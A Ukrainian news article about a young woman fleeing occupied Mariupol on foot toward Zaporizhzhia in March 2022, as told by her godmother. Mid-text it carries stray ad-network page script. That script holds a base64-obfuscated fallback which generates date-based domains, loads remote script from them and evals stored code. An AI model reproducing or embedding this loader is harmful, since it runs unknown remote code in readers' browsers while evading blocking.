Через криваву війну росіян, маріупольці вимушені пішки долати десятки кілометрів, аби врятуватися з пекла.
Цією історією, яку у цивілізованому світі важко уявити, з редакцією поділилась хрещена мати 22-річної Марʼяни, яка нині пішки з сусідами рятується зі зруйнованого окупантами Маріуполя, повідомляє «Вечерній Київ».
Жінка кожного дня молиться, аби її похресниця змогла витримати це нелегке випробовування та врешті дістатися до Запоріжжя.
ДВА ТИЖНІ ГОЛОДНОГО ЖИТТЯ У ПІДВАЛІ ТА ОМРІЯНА ЕВАКУАЦІЯ
24 лютого 2022 року Марʼяна та її хлопець, як і всі українці, спросоння зустріли війну. Тоді кожен намагався нашвидкуруч зібрати речі та думати, куди їхати далі, де рятуватися.
«Коли почалося це пекло ця війна ми їй казали, щоб вони втікали звідти, але вони думали що «якось мине», — схвильовано розповідає хрещена мати Марʼяни — Ганна Гринчук.
З похресницею жінка востаннє говорила 1 березня. Потім пара на тривалий час пропала. Втім через два тижні Марʼяна знов була «активна» в мережі. Щастя рідних не було межі, вони знали, принаймні, головне — дівчина жива. Втім згодом зʼясувалась, що з телефона у соцмережах сидів її хлопець, і аж ніяк не Марʼяна.
«Ми питаємося, де Мар’яна і чому її телефон в нього. Тоді він розповів, що два тижні, коли до них не могли додзвонитись, вони голодні сиділи у холодних сирих підвалах. Як одного дня, 15 березня, одна з родин вирішила евакуюватися на власній машині, і запропонували парі одне місце», — каже Ганна Гринчук.
Хлопець не обмірковуючи посадив Марʼяну в автівку. Дав у руки сумку з паспортом та телефоном. Проте у паніці дівчина кинула свій телефон та паспорт у сумку хлопця. Коханий дівчини повинен був пізніше іншою машиною евакуювався до Запоріжжя, де пара і планувала зустрітися.
ОБСТРІЛЯНИЙ БУДИНОК ТА ВТЕЧА ПІШКИ
Перед блокпостом водій машини, який віз Марʼяну, запитав, чи є в неї паспорт. Дівчина кивнула головою, але про всяк випадок перевірила наявність документів. І їх не було.
Тоді водій наказав виходити з машини, адже через неї їх на блокпосту розвернули б назад до пекельного Маріуполя. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Дівчина не стала сперечатись. Вона розуміла, що не має жодного права підставити людей, які мріють виїхати з міста.
Відтак Марʼяна, яка майже доїхала до Запоріжжя, вимушена була йти пішки назад до Маріуполя, аби там чекати, що хлопець приїде за нею з її документами. Але нікого не було.
Спочатку дівчина під обстрілами ховалася з сусідами в підвалах. А через декілька днів, 21 березня, їх будинок обстріляли. Марʼяна дивом врятувалася. Проте більше сидіти в мертвому місті не було ані сил, ані віри. І разом із сусідами дівчина вирішила знову дістатися до Запоріжжя. І цього разу це було можливо тільки пішки.
40 КІЛОМЕТРІВ ПОЗАДУ ТА НАДІЯ НА ТРАНСПОРТ
З Маріуполя вони 20 км тікали полем. Звідти добралися до села Мелекіно, де був зв’язок. Марʼяна зателефонувала хрещеній Ганні Гринчук, і не стримуючи сліз сказала, що вона йде до Запоріжжя.
На наступний день вони дійшли до Бердянська, де нерегулярно, але ходять автобуси. Тоді вдача була не на їх стороні, і Марʼяна з сусідами вимушені були чекати ще чотири дні.
На пʼятий день вони знову відправились у дорогу. За 20 км вони дійшли з Бердянська до села Дмитрівка. У надії, що там будуть автобуси, змучені втікачі знову чекали на зупинці транспорт. Проте знову невдача — російські виродки не дозволили автобусам курсувати, а всіх, хто наважувався їхати, орки безжально розстрілювали.
ОЧІКУВАННЯ ТА МОЛИТВИ
Нині хрещена Марʼяни — Ганна розповідає, що дівчина досі перебуває на Донеччині. Вони ховаються від рашистів, а при першій же можливості знову йдуть. Пішки. Втомлені. Але з надією на порятунок.
«Що буде далі, знає тільки Бог. Все що я та інші можуть зробити для нашої дівчинки та бідних людей, які тікають з нею, — це молитися. Молитися, щоб вищі сили допомогли цим невинним людям спокійно дійти до Запоріжжя», — резюмує Ганна Гринчук. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/pishki-ryatuyetsya-z-mariupolya-do-zaporizhzhya-istoriya-22-richnoyi-mar-yani-yaka-dosi-v-dorozi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
